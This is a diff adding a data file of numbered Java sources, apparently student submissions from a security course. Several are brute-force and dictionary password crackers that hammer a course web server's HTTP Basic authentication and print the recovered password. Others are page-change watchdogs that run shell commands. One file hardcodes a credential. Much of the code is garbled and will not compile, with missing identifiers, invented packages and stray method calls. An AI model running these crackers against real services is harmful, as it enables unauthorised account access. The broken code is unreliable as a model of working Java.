+                        System.out.println( ""Total Number Of Connections: "" +
+                                                          numOfConnections );
+                        System.exit(0);
+                    }
+                    else
+                    {
+                        hconn.disconnect();
+                    }
+                }
+            }
+        }
+        catch( MalformedURLException mue )
+        {
+            String msg = ""Unable  parse URL: "" + url;
+            System.err.println( msg );
+        }
+        catch( IOException ioe )
+        {
+            System.err.println( ""I/O Error : "" + ioe );
+        }
+    }
+
+    private String based64Encoder( String pwd )
+    {
+        
+        String str = pwd;
+        byte[] buf = str.getBytes();
+        String encodedStr = new misc.BASE64Encoder().encode(buf);
+
+
+        return encodedStr;
+    }
+}  "
+140.java,"import java.io.*;
+import java.util.*;
+import java.net.*;
+import java.misc.BASE64Encoder;
+
+public class BruteForce
+{
+  public BruteForce()
+  {
+  }
+
+  public static void main(String[] args)
+  {
+    try
+    {
+        if (args.length != 2 )
+        {
+            System.out.println(""Usage: java BruteForce <URL> <UserName>"");
+            System.exit(1);
+        }
+
+         timeStart = System.currentTimeMillis();
+
+        String strPass = applyBruteForce (args[0], args[1]);
+
+         timeEnd = System.currentTimeMillis();
+
+        System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass);
+        System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000));
+
+    }
+    catch(Exception e)
+    {
+      e.printStackTrace();
+    }
+  }
+
+  static String applyBruteForce (String URL, String UserName)
+  {
+      
+
+
+      String strPass = """";
+
+      char ch1, ch2, ch3;
+
+      System.out.print(""\n\n\n Applying BruteForce Attack:     "");
+
+      for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++)
+      {
+          if ( ch1 > 'Z' && ch1 < 'a' )
+              ch1 = 'a';
+
+          for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++)
+          {
+              if ( ch2 > 'Z' && ch2 < 'a' )
+                  ch2 = 'a';
+
+              for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++)
+              {
+                  if ( ch3 > 'Z' && ch3 < 'a' )
+                      ch3 = 'a';
+
+                  strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3);
+
+                  
+                  System.out.print(""\b\b\b"" + strPass );
+                  
+
+                  boolean boolResult = applyPass ( URL, UserName, strPass );
+
+                  if (boolResult)
+                  {
+                      return strPass;
+                  }
+
+              }
+          }
+      }
+
+      return ""Could not find match"";
+  }
+
+  private static boolean applyPass (String strURL, String strUserName, String strPass )
+  {
+        BASE64Encoder myEncoder = new BASE64Encoder ();
+
+        try
+        {
+            String str = strUserName + "":"" + strPass;
+
+            String strEncode = myEncoder.encode(str.getBytes());
+
+            URL url = new URL (strURL);
+
+            URLConnection urlConn = url.openConnection();
+
+            urlConn.setRequestProperty (""Authorization"", "" "" + strEncode);
+
+            urlConn.connect();
+
+            String strReply = urlConn.getHeaderField(0);
+
+            if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") )
+            {
+                return true;
+            }
+        }
+        catch (Exception e)
+        {
+            e.printStackTrace ();
+        }
+
+        return false;
+  }
+}
+"
+220.java,"import java.io.*;
+
+public class UnixMailing
+{
+   private String buffer;
+   private String email;
+
+   public static void main (String [] args)
+   {
+      UnixMailing obj = new UnixMailing(""@hotmail."");
+      obj.println(""hehehe"");
+      obj.sent();
+   }
+
+   public UnixMailing(String email)
+   {
+      this.email = email;
+      buffer = """";
+   }
+
+   public boolean sent()
+   {
+      String command = ""mail ""+email;
+
+      if (buffer.length() <= 0)
+         return false;
+
+      try
+      {
+         Process proc = (Runtime.getRuntime()).exec(command);
+         DataOutputStream out = new DataOutputStream(proc.getOutputStream());
+         out.writeBytes(buffer);
+         out.flush();
+         out.print();
+         proc.waitFor();
+         buffer = """";
+         return true;
+       }
+      catch(Exception e)
+      {
+         e.printStackTrace();
+         buffer = """";
+         return false;
+      }
+   }
+   public void print(String data)
+   {
+      buffer += data;
+   }
+
+   public void println(String data)
+   {
+      buffer += data+""\n"";
+   }
+
+   public void cancel()
+   {
+      buffer = """";
+   }
+
+}
+"
+234.java,"import java.io.*;
+import java.*;
+import java.net.*;
+
+public class Dictionary
+
+{
+   public static void main (String[] args) throws Exception
+   {
+      System.out.println(""Congratulations Your password is ""+ checkPassword() );
+   }
+
+
+
+   private static String checkPassword() throws Exception
+   {
+      FileReader fRead;
+      BufferedReader buf1, buf2;
+      String password="" "";
+
+      try
+      {
+         fRead= new FileReader(""/usr/share/lib/dict/words"");
+         buf1 = new BufferedReader(fRead);
+         buf2 = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+
+         password= fileRead(buf1, buf2);
+         System.out.println(""Password is loop2 CheckPassword:""+password);
+         return password;
+      }
+      catch (FileNotFoundException e)
+      {
+         System.err.println(""File not found:""+e.getMessage());
+         System.exit(1);
+      }
+      catch (IOException ioe)
+      {
+         System.err.println(""IOE error: ""+ioe.getMessage());
+         System.exit(1);
+      }
+
+      return password;
+   }
+
+
+
+
+   private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception
+   {
+      String password = "" "";
+      String password1="" "";
+      String passwd = null;
+
+      int countLength1=0;
+      int countLength2=0;
+      int countLength3=0;
+
+
+
+      while ((password = buf1.readLine()) != null)
+      {
+
+        if (password.length()<= 3)
+        {
+           if (password.length()==1)
+           {
+              countLength1++;
+           }
+          else if (password.length()==2)
+           {
+              countLength2++;
+           }
+           else
+           {
+              countLength3++;
+           }
+        }
+      }
+   
+      System.out.println(countLength1+""  ""+countLength2+""  ""+countLength3);
+
+       
+
+      String[] wordSize1=new String[countLength1];
+      String[] wordSize2=new String[countLength2];
+      String[] wordSize3=new String[countLength3];
+
+      int a=0; int b=0; int c=0;
+      
+      while ((password1 = buf2.readLine()) != null)
+      {
+        if (password1.length()<= 3)
+        {
+           if (password1.length()==1)
+           {
+              wordSize1[a++]=password1;
+           }
+           else if (password1.length()==2)
+           {
+              wordSize2[b++]=password1;
+           }
+           else
+           {
+              wordSize3[c++]=password1;
+           }
+         }
+      }
+
+      passwd = getPasswordRuns4(wordSize3);
+      
+      if (passwd==null)
+      {  
+         passwd = getPasswordRuns3(wordSize1,wordSize2);
+         if (passwd==null)
+         {  
+            passwd = getPasswordRuns2(wordSize1,wordSize2);
+            if(passwd==null)
+            {
+               passwd = getPasswordRuns1(wordSize1);  
+            }        
+         }
+      }
+      return passwd;
+   }
+      
+   private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2)  throws Exception
+   {
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec;  
+      String password="" ""; 
+      String passwd="" "";      
+      
+     
+      for (int i=0; i< wordSize1.length; i++)
+      {
+        for (int j=0; j< wordSize2.length; j++)
+        {
+           String userPasswd= "":""+wordSize1[i]+wordSize2[j];
+           System.out.println(userPasswd);
+
+           sec = (HttpURLConnection)url.openConnection();
+           sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
+            
+           if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
+           {
+              passwd=password;
+              return passwd;
+           }
+           sec.disconnect();  
+        }  
+     }   
+     return null;
+   }
+
+   private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception
+   {
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec;  
+      String password="" ""; 
+      String passwd=null; 
+      
+      for (int i=0; i< wordSize2.length; i++)
+      {
+         for (int j=0; j< wordSize1.length; j++)
+         {
+            password= wordSize2[i]+wordSize1[j];
+            String userPasswd= "":""+password;
+            sec = (HttpURLConnection)url.openConnection();
+            sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
+            if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
+            {
+               passwd=password;
+               return passwd;
+            }
+            sec.disconnect();
+         }
+      }  
+      return null;
+   }
+
+   private static String getPasswordRuns4(String[] wordSize3) throws Exception
+   {
+      int attempt=0;
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec;  
+      String password="" ""; 
+      String passwd=null;      
+
+      for (int i=0; i< wordSize3.length; i++)
+      {
+        attempt++;
+        password= wordSize3[i];
+        String userPasswd= "":""+password;
+        System.out.println(attempt+"" ""+userPasswd);
+
+        sec = (HttpURLConnection)url.openConnection();
+        sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
+        if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
+        {
+          passwd=password;
+          return passwd;
+        }
+            sec.disconnect();
+      }
+      return ""Password not found"";
+   }
+
+ 
+   private static String getPasswordRuns1(String[] wordSize1) throws Exception
+   {
+      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+      HttpURLConnection sec;  
+      String password="" ""; 
+      String passwd=null;      
+      
+      for (int i=0; i< wordSize1.length; i++)
+      {
+         for (int j=0; j< wordSize1.length; j++)
+         {
+            for (int k=0; k< wordSize1.length; k++)
+            {
+             password= wordSize1[i]+wordSize1[j]+wordSize1[k];
+             String userPasswd= "":""+password;
+             System.out.println(userPasswd);
+
+             sec = (HttpURLConnection)url.openConnection();
+             sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
+
+             if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
+             {
+                passwd=password;
+                System.out.println(""Password is loop1 readfile:""+password);
+                return passwd;
+             }
+             sec.disconnect();
+            } 
+          }  
+       }
+       return passwd;
+   }
+
+  private static String encode(String userPasswd) throws Exception
+   {
+      String ;
+      String encodedUserPasswd="" "";
+      String addr= ""~//base64_encode.php ""+userPasswd ;
+      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr});
+      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+      while ( (bf  = resp.readLine()) != null )
+      {
+         encodedUserPasswd=bf.get;
+      }
+      return encodedUserPasswd;
+   }
+
+
+
+
+
+}
+"
+048.java,"import java.io.*;
+import java.net.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+import java.net.HttpURLConnection;
+
+
+public class BruteForce 
+{
+  String uname = """";
+  String pword = ""null"";
+  Vector v = new Vector();
+  int runTime;
+  
+  public void doConnect(String connect, int num)
+  {
+      
+      String cad = connect;
+    
+    try
+     {
+       URL secureSite = new URL();
+       URLConnection connection = secureSite.openConnection();
+	 
+       if (uname != null || pword != null)
+	  {
+	    
+	    for(int i=num; i<v.size(); i++)
+	    {
+	      pword = (String)v.elementAt(i);
+	      String up = uname + "":"" + pword;
+            String encoding;
+            try
+		{
+		 secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
+              encoding = encoder.encode (up.getBytes());
+           }
+	     catch (Exception ex) 
+            {
+		  Base64Converter encoder = new Base64Converter();
+              encoding = encoder.encode(up.getBytes());
+           }
+	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
+           connection.connect();
+           if(connection instanceof HttpURLConnection)
+	     {
+	       HttpURLConnection httpCon=(HttpURLConnection)connection;
+             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
+		  {
+		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
+		   httpCon.disconnect();
+	         doConnect(uname, i+1);
+	       }
+		else
+		 { 
+		  System.out.println(""\n\n\nPassword for HTTP Secure Site By BruteForce Attack"");
+              System.out.println( +""\tPassword : ""+ pword);
+	        
+              runTime = System.currentTimeMillis() - runTime; 
+              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
+	        System.exit(0);
+	      }
+	    }
+	  }
+      }
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+  }
+  public Vector getPassword()
+  {
+    try
+    {
+      makePasswords  mp = new makePasswords();
+      mp.makePass();
+	mp.loadFile();
+      v = mp.getVector();
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+    return v;
+  }
+  public void setTimeTaken( int time_taken)
+  {
+    runTime = time_taken;
+  }  
+  public static void main( String args[] ) throws IOException 
+  {
+    
+    try
+    {
+     runTime1 = System.currentTimeMillis();     
+    BruteForce newDo = new BruteForce();
+    newDo.setTimeTaken(runTime1);
+    newDo.getPassword();
+    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    newDo.doConnect(site, 0);
+    }catch(Exception ex)
+    {
+    System.out.println(""Errrrrrrr"");
+    }
+    
+
+  }  
+  
+}
+
+class  Base64Converter
+      {
+  
+          public final char [ ]  alphabet = {
+              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+              '4', '5', '6', '7', '8', '9', '+', '/' }; 
+  
+  
+          public String  encode ( String  s )
+          {
+              return encode ( s.getBytes ( ) );
+          }
+  
+          public String  encode ( byte [ ]  octetString )
+          {
+              int  bits24;
+              int  bits6;
+  
+              char [ ]  out
+                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+  
+              int outIndex = 0;
+              int i        = 0;
+  
+              while ( ( i + 3 ) <= octetString.length ) {
+                  
+                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
+  
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0000003F );
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+              }
+  
+              if ( octetString.length - i == 2 )
+              {
+                  
+                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+              }
+              else if ( octetString.length - i == 1 )
+              {
+                  
+                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+                  out [ outIndex++ ] = '=';
+              }
+  
+              return new String ( out );
+          }
+       }
+  
+  
+"
+165.java,"
+package java.httputils;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.sql.Timestamp;
+
+
+public class HttpRequestClient
+{
+    protected URL serverURL;
+    protected java.net.HttpURLConnection httpConnection;
+    protected Timestamp start;
+    protected Timestamp end;
+    protected StringBuffer content = new StringBuffer();
+    protected int millis;
+    protected int code;
+    
+    public HttpRequestClient(String url)
+        throws MalformedURLException, IOException
+    {
+        setServerURL(new URL(url));
+        
+        setStart(new Timestamp(System.currentTimeMillis()));
+
+        
+        setHttpConnection(
+            (HttpURLConnection)this.getServerURL().openConnection());
+        doRequest();
+    }
+
+    
+    public HttpRequestClient()
+    {
+        super();
+    }
+
+
+    public int doRequest()
+        throws IOException
+    {
+        String retVal = null;
+        int url = HttpURLConnection.HTTP_UNAUTHORIZED;
+        BufferedInputStream stream = null;
+        try
+        {
+            stream s = new BufferedInputStream(getHttpConnection().getInputStream());
+             s= getHttpConnection().getResponseCode();
+            if (s == HttpURLConnection.HTTP_UNAUTHORIZED)
+            {
+                return s;
+            }
+
+            int c = -1;
+            while ((c = stream.get()) != -1)
+            {
+                getContent().append((char)c);
+            }
+            
+            setEnd(new Timestamp(System.currentTimeMillis()));
+        }
+        catch (IOException e)
+        {
+            this.setCode(getHttpConnection().getResponseCode());
+            throw e;
+        }
+        finally
+        {
+            if (stream != null) stream.close();
+        }
+
+
+        return ;
+    }
+
+    public static void main(String[] args)
+    {
+        HttpRequestClient client = null;
+        try
+        {
+            client = new HttpRequestClient(args[0]);
+        }
+        catch (MalformedURLException e)
+        {
+            e.printStackTrace();
+        }
+        catch (IOException e)
+        {
+            e.printStackTrace();
+        }
+        finally
+        {
+            if (client != null)
+            {
+                System.out.println(
+                    ""Request processing time (milliseconds): "" +
+                    (client.getEnd().getTime() - client.getStart().getTime()));
+
+                System.out.println(
+                    ""Request content: \n"" + client.getContent());
+
+            }
+        }
+    }
+    
+    public HttpURLConnection getHttpConnection()
+    {
+        return httpConnection;
+    }
+
+    
+    public URL getServerURL()
+    {
+        return serverURL;
+    }
+
+    
+    public void setHttpConnection(java.net.HttpURLConnection connection)
+    {
+        httpConnection = connection;
+    }
+
+    
+    public void setServerURL(URL url)
+    {
+        serverURL = url;
+    }
+
+    
+    public StringBuffer getContent()
+    {
+        return content;
+    }
+
+    
+    public Timestamp getEnd()
+    {
+        return end;
+    }
+
+    
+    public Timestamp getStart()
+    {
+        return ;
+    }
+
+    
+    public void setContent(StringBuffer buffer)
+    {
+        content = buffer;
+    }
+
+    
+    public void setEnd(Timestamp timestamp)
+    {
+        end = timestamp;
+    }
+
+    
+    public void setStart(Timestamp timestamp)
+    {
+       start  = timestamp;
+    }
+
+    
+    public  getMillis()
+    {
+        return getEnd().getTime() - getStart().getTime();
+    }
+    
+    public int getCode()
+    {
+        return code;
+    }
+
+    
+    public void setCode(int i)
+    {
+       code  = i;
+    }
+
+}
+"
+205.java,"
+import java.util.*;
+import java.io.*;
+
+public class DicReader
+{
+   private Vector v;
+
+   public DicReader( String fileName)
+   {
+      boolean flag = true; 
+      String line;
+      v = new Vector( 50);
+      try
+      {
+         BufferedReader in = new BufferedReader( new FileReader( fileName));
+	 while(( line = in.readLine()) != null)
+	 {
+	    flag = true;
+	    if( line.length() > 0 && line.length() < 4 )
+	    {
+	       for( int i = 0; i < line.length(); i++)
+               {
+	          if( Character.isLetter( line.charAt( i)) == false)
+		  {
+		     flag = false;
+		  }
+	       }
+	       if( flag == true)
+	       {
+	          
+	          v.add( line);
+	       }
+	    }
+	 }
+	 in.print();
+      }
+      catch( IOException e)
+      {
+         System.out.println( "" not open the file!"");
+	 System.exit( 0);
+      }
+   }
+   public Vector getVictor()
+   {
+      return v;
+   }
+   public static void main ( String [] args)
+   {
+      DicReader fr = new DicReader( ""/usr/share/lib/dict/words"");
+      System.out.println( "" far ""+fr.getVictor().size()+"" combinations loaded"");
+   }
+}
+	 
+         
+"
+085.java,"
+
+
+import java.Thread;
+import java.io.*;
+import java.net.*;
+
+public class Dictionary extends Thread {
+    final static int SUCCESS=1,
+                     FAILED=0,
+                     UNKNOWN=-1;
+    private static String host,
+                   path,
+                   user;
+    private Socket target;
+    private InputStream input;
+    private OutputStream output;
+    private byte[] data;
+    private int threads,
+                threadno,
+                response;
+    public static boolean solved = false;
+    Dictionary parent;
+    static LineNumberReader lnr;
+
+
+    public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr)
+    {
+      super();
+      this.parent = parent;
+      this.host = host;
+      this.path = path;
+      this.user = user;
+      this.threads = threads;
+      this.threadno = threadno;
+    }
+
+    public void run()
+    {
+      response = FAILED;
+      int x = 0; 
+      String word = """";
+       starttime = System.currentTimeMillis();
+
+      try
+      {
+        boolean passwordOkay; 
+        while(word != null && !parent.solved)
+        {
+          passwordOkay = false;
+          while(!passwordOkay || word == null)
+          {
+            word = lnr.readLine();
+            passwordOkay = true;
+            if(word.length() != 3) passwordOkay = false;
+          }
+
+          response = tryLogin(word);
+          x++;
+          if(response == SUCCESS)
+          {
+            System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word);
+            parent.solved = true;
+          }
+          if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")"");
+        }
+      }
+      catch(Exception e)
+      {
+        System.err.println(""Error while  from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage());
+      }
+
+      if(response == SUCCESS)
+      {
+        System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec."");
+        System.out.println(""Thread . "" + threadno + "" was the  one!"");
+      }
+    }
+
+    public static void main (String[] args)
+    {
+        Dictionary parent;
+        try
+        {
+           lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words""));
+        }
+        catch(Exception e)
+        {
+          System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage());
+        }
+        Dictionary[] attackslaves = new Dictionary[10]; 
+        if(args.length == 3)
+        {
+         host = args[0];
+         path = args[1];
+         user = args[2];
+        }
+        else
+        {
+          System.out.println(""Usage: Dictionary <host> <path> <user>"");
+          System.out.println("" arguments specified, using standard values."");
+          host = ""sec-crack.cs.rmit.edu."";
+          path = ""/SEC/2/index.php"";
+          user = """";
+        }
+        System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user);
+        System.out.println(""Using "" + attackslaves.length + "" happy threads..."");
+
+        parent = new Dictionary(host, path, user, 0, 0, null, lnr);
+
+        for(int i=0; i<attackslaves.length; i++)
+        {
+          attackslaves[i] = new Dictionary(host, path, user, attackslaves.length, i, parent, lnr);
+        }
+        for(int i=0; i<attackslaves.length; i++)
+        {
+          attackslaves[i].print();
+        }
+
+    }
+
+    private int tryLogin(String password)
+    {
+      int success = UNKNOWN;
+
+      
+      try
+      {
+        data = new byte[12];
+        target = new Socket(host, 80);
+        input = target.getInputStream();
+        output = target.getOutputStream();
+        String base =  new pw.misc.BASE64Encoder().encode(new String(user + "":"" + password).getBytes());
+
+        output.write(new String(""GET "" + path + "" HTTP/1.0\r\n"").getBytes());
+        output.write(new String(""Authorization:  "" + base + ""\r\n\r\n"").getBytes());
+        
+
+        input.print(data);
+        if(new String(data).endsWith(""401"")) success=0;
+        if(new String(data).endsWith(""200"")) success=1;
+        
+      }
+      catch(Exception e)
+      {
+        System.out.println(e.getClass().getName() + "": "" + e.getMessage());
+      }
+      return success;
+    }
+
+}"
+104.java,"
+
+import java.io.*;
+import java.net.*;
+import java.Runtime;
+
+public class WatchDog
+{
+  public WatchDog()
+  {}
+
+  public void getDiff()
+  {
+     String oldFile=""oldFile.txt"";
+     String newFile=""newFile.txt"";
+     String email=""email.txt"";
+     String cmdMail=""mail -s WebChanged  < ""+email;
+     String cmdCmp=""diff -b "" + newFile +"" ""+oldFile;
+     String cmdCp=""cp ""+ newFile +"" ""+oldFile;
+
+     FileWriter fw;
+     try{
+     this.fetchURL(newFile);
+
+     Process ps =Runtime.getRuntime().exec(cmdCmp);    
+     fw=new FileWriter(email,true);
+     InputStream input=(InputStream)ps.getInputStream();
+     BufferedReader in = new BufferedReader (new InputStreamReader (input));
+     String line;
+     while ((line = in.readLine()) != null) {
+     fw.write(line);
+     fw.write(""\n"");
+     } 
+     fw.close();
+     Runtime.getRuntime().exec(cmdMail);    
+     Runtime.getRuntime().exec(cmdCp);      
+     }
+     catch (IOException e) {
+       System.out.println (""Error  URL"");
+     }
+  }
+
+  public void fetchURL(String newFile){
+      FileWriter fileWriter;
+      String userPwd="":lena1018"";
+
+      try{
+   
+       fileWriter= new FileWriter(newFile,false);
+
+       URL url=new URL(""http://www.cs.rmit.edu./students"");  
+
+       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
+       InputStream content = (InputStream)huc.getInputStream();
+       BufferedReader in = new BufferedReader (new InputStreamReader (content));
+       String line;
+       while ((line = in.readLine()) != null) {
+       fileWriter.write(line);
+       fileWriter.write(""\n"");
+       } 
+       fileWriter.close();
+     }  
+     catch (MalformedURLException e) {
+       System.out.println (""Invalid URL"");
+     } catch (IOException e) {
+       System.out.println (""Error  URL"");
+     }
+  }
+
+  public static void main(String[] arguments)
+  {
+    WatchDog wd =new WatchDog();
+    wd.getDiff();
+  }
+
+}"
+129.java,"import java.net.*;
+public class MyAuthenticator extends Authenticator
+{
+	PasswordAuthentication pa=null;;
+	protected PasswordAuthentication getPasswordAuthentication()
+	{
+		return pa;
+	}
+	void setPasswordAuthentication(PasswordAuthentication p)
+	{
+		this.pa=p;
+	}
+
+}"
+141.java,"
+
+
+
+import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class WatchDog
+{
+
+  public WatchDog()
+  {
+  }
+
+  public static void main(String[] args)
+  {
+      try
+      {
+          if( args.length != 2 )
+          {
+            System.out.println(""USAGE: java WatchDog <URL> <mailing UserName>"");
+            System.exit(0);
+          }
+
+                Runtime.getRuntime().exec(""rm LastWatch.html"");
+                Runtime.getRuntime().exec(""rm WatchDog.ini"");
+
+                Thread.sleep(1000);
+
+            while (true)
+            {
+                WatchDog myWatchDog = new WatchDog();
+                myWatchDog.readHTML(args[0], args[1]);
+
+                Runtime.getRuntime().exec(""rm Report.txt"");
+                Runtime.getRuntime().exec(""rm diffReport.txt"");
+                Runtime.getRuntime().exec(""rm NewWatch.txt"");
+
+                System.out.println("" check after 2 ... press Ctrl-Z  suspend WatchDog..."");
+
+                Thread.sleep(2*60*1000); 
+
+
+            }
+      }
+      catch (Exception e)
+      {
+          e.printStackTrace();
+      }
+  }
+
+  void readHTML (String strHTML, String userName)
+  {
+
+    Properties myProp = loadLastMD5 ();
+
+    try
+    {
+
+      System.out.println(""Running WatchDog  \"""" + strHTML + ""\"" ...... Please Wait...."");
+
+      URL url = new URL (strHTML);
+
+      String strHost = url.getHost().toLowerCase();
+
+      Runtime r = Runtime.getRuntime();
+
+
+
+  
+
+    
+      
+
+      InputStream in = url.openStream();
+
+      DataInputStream bf = new  DataInputStream (in);
+
+      FileOutputStream fOut = new FileOutputStream (""Watch.html"");
+      DataOutputStream dOut = new DataOutputStream (fOut);
+
+      Vector vtrImages = new Vector ();
+
+      while ( bf!= null)
+      {
+
+          String str = bf.readLine();
+
+          if (str == null)
+              break;
+
+
+         if ( str.toLowerCase().indexOf(""img"") > 0 )
+         {
+            int indexImg = str.toLowerCase().indexOf(""img"");
+            int indexImgUrl = str.toLowerCase().indexOf(""\"""", indexImg);
+            int indexImgUrlEnd = str.toLowerCase().indexOf(""\"""", indexImgUrl+1);
+
+            String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);
+
+            if (strImage.toLowerCase().indexOf(strHost) > 0)
+            {
+                int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
+                strImage = strImage.toLowerCase().substring(index);
+            }
+
+            if (!vtrImages.contains(strImage.toLowerCase()))
+                vtrImages.add (strImage.toLowerCase());
+         }
+
+          dOut.writeBytes(str+""\n"");
+      }
+
+      dOut.print();
+      fOut.print();
+ 
+    
+
+      for (int i=0 ; i < vtrImages.size() ; i ++)
+      {
+
+          
+          r.exec(""wget "" + strHost + vtrImages.get(i).toString().trim());
+      }
+
+      Thread.sleep(2000);
+
+      String [] command = {""//sh"", ""-c"",""md5sum *.* > NewWatch.txt""};
+
+      Runtime.getRuntime().exec(command);
+
+      Thread.sleep(1000);
+
+      FileInputStream fIn = new FileInputStream (""NewWatch.txt"");
+      DataInputStream  = new  DataInputStream (fIn);
+
+      Properties prop = new Properties ();
+
+      while ( bf  != null)
+      {
+
+          String str = bf.readLine();
+
+          if (str == null)
+              break;
+
+          int index = str.indexOf("" "");
+
+
+          if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase(""Watch.html"") )
+              prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
+      }
+
+      
+      fIn.close();
+
+      int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);
+
+      if (isAnyChange > 0)
+      {
+
+        if (isAnyChange == 2)
+        {
+            File f = new File (""LastWatch.html"");
+
+            if (! f.exists())
+            {
+                f.createNewFile();
+                Thread.sleep(1000);
+            }
+
+            String [] diffCommand = {""//sh"", ""-c"",""diff Watch.html LastWatch.html > diffReport.txt""};
+
+            Runtime.getRuntime().exec(diffCommand);
+
+            Thread.sleep(2000);
+
+            FileInputStream feIn = new FileInputStream (""diffReport.txt"");
+            DataInputStream deIn = new DataInputStream (feIn);
+
+            FileOutputStream feOut = new FileOutputStream (""Report.txt"", true);
+            DataOutputStream deOut = new DataOutputStream (feOut);
+
+            deOut.writeBytes(""\n\n\nDifferences in  Target  :\n\n"");
+
+            while (deIn != null)
+            {
+                String str = deIn.readLine();
+
+                if (str == null)
+                  break;
+
+                deOut.writeBytes(str + ""\n"");
+            }
+
+            deOut.print();
+            feOut.print();
+
+            deIn.close();
+            feIn.close();
+        }
+
+        String [] mailCommand = {""//sh"", ""-c"",""less Report.txt | mail "" + userName};
+
+        Runtime.getRuntime().exec(mailCommand);
+
+        System.out.println(""Mailing difference"");
+      }
+      else
+          System.out.println("" difference detected"");
+
+
+      Runtime.getRuntime().exec(""mv Watch.html LastWatch.html"");
+
+    }
+    catch (Exception e)
+    {
+        e.printStackTrace();
+    }
+
+  }
+
+  private Properties loadLastMD5 ()
+  {
+      Properties myProp = new Properties ();
+
+      try
+      {
